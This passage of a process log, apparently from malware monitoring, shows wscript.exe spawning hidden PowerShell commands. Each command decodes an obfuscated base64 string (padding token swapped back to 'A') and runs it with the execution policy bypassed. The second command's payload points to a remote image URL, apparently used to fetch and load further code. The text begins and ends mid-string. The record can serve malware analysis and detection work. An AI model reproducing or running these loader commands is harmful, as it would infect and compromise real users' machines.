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wWIbeIlJvgPRwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP+wCpPwOwWIbeIlJvgPD4wCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbQBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQBUwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPZgwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPZQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPaQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwBlwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwBmwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBGwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPYQBnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCswCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPLgBMwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPYgBhwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP9wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPYQBywCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcwBlwCpPwOwWIbeIlJvgPDYwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPaQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwBlwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPLgBTwCpPwOwWIbeIlJvgPHUwCpPwOwWIbeIlJvgPYgBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPcgBpwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcwBlwCpPwOwWIbeIlJvgPDYwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPBMwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPpwCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPeQB0wCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPcwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPeQBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPQwBvwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPdgBlwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBdwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPOgBGwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPbwBtwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPYQBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPNgwCpPwOwWIbeIlJvgP0wCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBywCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcwBlwCpPwOwWIbeIlJvgPDYwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwBhwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQBkwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPeQBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPUgBlwCpPwOwWIbeIlJvgPGYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBpwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbgwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQBdwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPOgBMwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPYQBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPeQB0wCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPcwwCpPwOwWIbeIlJvgPpwCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPQQBzwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPRwBlwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRgBpwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPZQBywCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPE0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBWwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPSQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPdgBvwCpPwOwWIbeIlJvgPGswCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbgB1wCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPWwBvwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPagBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPF0wCpPwOwWIbeIlJvgPXQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBkwCpPwOwWIbeIlJvgPEgwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPwwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPbQBWwCpPwOwWIbeIlJvgPHUwCpPwOwWIbeIlJvgPYgwCpPwOwWIbeIlJvgPzwCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPeQBZwCpPwOwWIbeIlJvgPFYwCpPwOwWIbeIlJvgPYwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPBNwCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPTQBTwCpPwOwWIbeIlJvgPDkwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBtwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPegBJwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTQBpwCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPegBNwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPRQB1wCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBqwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwBNwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPOwCpPwOwWIbeIlJvgPB2wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPbgBCwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBHwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPDIwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwBvwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwBDwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPXwCpPwOwWIbeIlJvgPBXwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPdwBzwCpPwOwWIbeIlJvgPFwwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBcwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRwBvwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPZwBswCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPcgBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('wCpPwOwWIbeIlJvgP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process wscript.exe martian_process powershell -command "$Codigo = 'JwCpPwOwWIbeIlJvgPBpwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPYQBnwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPVQBywCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP9wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwBowCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBwwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPOgwCpPwOwWIbeIlJvgPvwCpPwOwWIbeIlJvgPC8wCpPwOwWIbeIlJvgPdQBwwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwBhwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbQBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQBuwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPLgBjwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPcgwCpPwOwWIbeIlJvgPvwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbQBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQBzwCpPwOwWIbeIlJvgPC8wCpPwOwWIbeIlJvgPMwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPwwCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPLwwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPvwCpPwOwWIbeIlJvgPDcwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP5wCpPwOwWIbeIlJvgPC8wCpPwOwWIbeIlJvgPbwBywCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPZwBpwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPYQBswCpPwOwWIbeIlJvgPC8wCpPwOwWIbeIlJvgPbgBlwCpPwOwWIbeIlJvgPHcwCpPwOwWIbeIlJvgPXwBpwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPYQBnwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPLgBqwCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZwwCpPwOwWIbeIlJvgP/wCpPwOwWIbeIlJvgPDEwCpPwOwWIbeIlJvgPNgwCpPwOwWIbeIlJvgP5wCpPwOwWIbeIlJvgPDgwCpPwOwWIbeIlJvgP